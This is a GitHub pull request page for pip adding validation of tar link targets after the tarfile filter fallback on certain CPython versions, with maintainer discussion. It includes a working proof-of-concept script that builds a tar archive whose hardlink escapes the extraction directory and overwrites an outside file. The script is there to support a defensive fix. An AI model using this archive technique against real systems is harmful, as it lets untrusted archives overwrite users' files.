Skip to content

Validate tar link targets after filter fallback - #14156

Open
M0nd0R wants to merge 2 commits into
pypa:mainfrom
M0nd0R:security/tar-link-filter-fallback
Open

Validate tar link targets after filter fallback#14156
M0nd0R wants to merge 2 commits into
pypa:mainfrom
M0nd0R:security/tar-link-filter-fallback

Conversation

@M0nd0R

@M0nd0R M0nd0R commented Jul 9, 2026

Copy link
Copy Markdown

What does this PR do?

This re-checks tar hardlink and symlink targets after the CPython #107845 tarfile.data_filter fallback uses the more permissive tarfile.tar_filter. It rejects fallback link targets that resolve outside the extraction destination and adds regression coverage for an outside hardlink plus positive coverage for safe in-destination links on the affected fallback path.

The pre-fix reproducer on a simulated affected sys.version_info == (3, 11, 4) allowed a hardlink archive member to redirect a later file write outside the extraction directory. After this change, the same reproducer raises InstallationError and the outside file remains unchanged.

Validation

  • PYTHONPATH=src /tmp/pip-test-venv/bin/python -m pytest tests/unit/test_utils_unpacking.py::TestUnpackArchives::test_unpack_tar_filter_fallback_rejects_outside_hardlink tests/unit/test_utils_unpacking.py::TestUnpackArchives::test_unpack_tar_filter_fallback_allows_safe_links -q
  • PYTHONPATH=src /tmp/pip-test-venv/bin/python -m pytest tests/unit/test_utils_unpacking.py -q
  • PYTHONPATH=src python -m py_compile src/pip/_internal/utils/unpacking.py tests/unit/test_utils_unpacking.py
  • git diff --check
  • /tmp/pip-test-venv/bin/python -m ruff check src/pip/_internal/utils/unpacking.py tests/unit/test_utils_unpacking.py

PR Checklist:

  • I agree to follow the PSF Code of Conduct.
  • I have read and have followed the CONTRIBUTING.md file.
  • I have added a news file fragment (or this PR does not need one).
  • I have read and followed the AI_POLICY.md file, and if any AI tools were used, I have disclosed it below.

Assisted-by: OpenAI Codex

@ichard26

ichard26 commented Jul 9, 2026

Copy link
Copy Markdown
Member

Sigh, I'm really disappointed at how horrible tar unpacking has become. We just fixed a similar issue.

@M0nd0R can you provide a MRE that works on the affected Python versions?

@ichard26

ichard26 commented Jul 9, 2026

Copy link
Copy Markdown
Member

@notatallshaw this seems unfortunately necessary taking a look at other affected projects: pypa/pipenv#6654

@notatallshaw

Copy link
Copy Markdown
Member
  1. tar extraction only happens in the context of building sdist/archives which already allow the package to run code, so this doesn't constitute a security issue per our security policy: https://github.com/pypa/pip/blob/main/SECURITY.md
  2. This only occurs in insecure versions of CPython, users should not be running on insecure versions of Python if they care about security
  3. @M0nd0R is there a reason you haven't followed our PR template? It's a basic check to make sure you're following our AI Policy: https://github.com/pypa/pip/blob/main/AI_POLICY.md

I'll review this as a regular bug, I don't think there should be any urgency.

@M0nd0R

M0nd0R commented Jul 9, 2026

Copy link
Copy Markdown
Author

Thanks. Here is a standalone MRE that I ran on an actual affected interpreter, python:3.11.4-slim. It creates an archive with a hardlink escaping the extraction directory, then writes a regular file over that hardlink. The extraction loop matches the current fallback shape in pip: try tarfile.data_filter, and on LinkOutsideDestinationError for the affected interpreter path, fall back to tarfile.tar_filter.

import io
import os
import shutil
import sys
import tarfile
import tempfile

print(sys.version)
base = tempfile.mkdtemp()
try:
    archive = os.path.join(base, "archive.tar")
    dest = os.path.join(base, "extract")
    victim = os.path.join(base, "victim.txt")
    with open(victim, "wb") as f:
        f.write(b"safe\n")

    with tarfile.open(archive, "w") as t:
        d = tarfile.TarInfo("pkg")
        d.type = tarfile.DIRTYPE
        t.addfile(d)

        link = tarfile.TarInfo("pkg/link")
        link.type = tarfile.LNKTYPE
        link.linkname = "../victim.txt"
        t.addfile(link)

        data = io.BytesIO(b"overwritten\n")
        f = tarfile.TarInfo("pkg/link")
        f.size = len(data.getbuffer())
        t.addfile(f, data)

    os.makedirs(dest)
    with tarfile.open(archive) as t:
        for member in t.getmembers():
            try:
                filtered = tarfile.data_filter(member, dest)
            except tarfile.LinkOutsideDestinationError:
                filtered = tarfile.tar_filter(member, dest)
            t.extract(filtered, dest)

    with open(victim, "rb") as f:
        print("victim:", f.read().decode().strip())
finally:
    shutil.rmtree(base, ignore_errors=True)

Observed output:

3.11.4 (main, Aug 16 2023, 05:23:18) [GCC 12.2.0]
victim: overwritten

I also ran the same archive through this branch's untar_file in the same python:3.11.4-slim image with PYTHONPATH=src:

3.11.4 (main, Aug 16 2023, 05:23:18) [GCC 12.2.0]
result: InstallationError: Invalid member in the tar file /tmp/tmp12d38ho8/archive.tar: 'link' would link to '/tmp/tmp12d38ho8/victim.txt', which is outside the destination
victim: safe

The affected version gate is the one already present in pip's unpacking code: 3.9.17, 3.10.12, and 3.11.4. I also added the news fragment and updated the PR body with the checklist / AI-policy disclosure. I understand the point about pip's security policy for sdist/archive builds, so reviewing this as a regular bug is fine.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants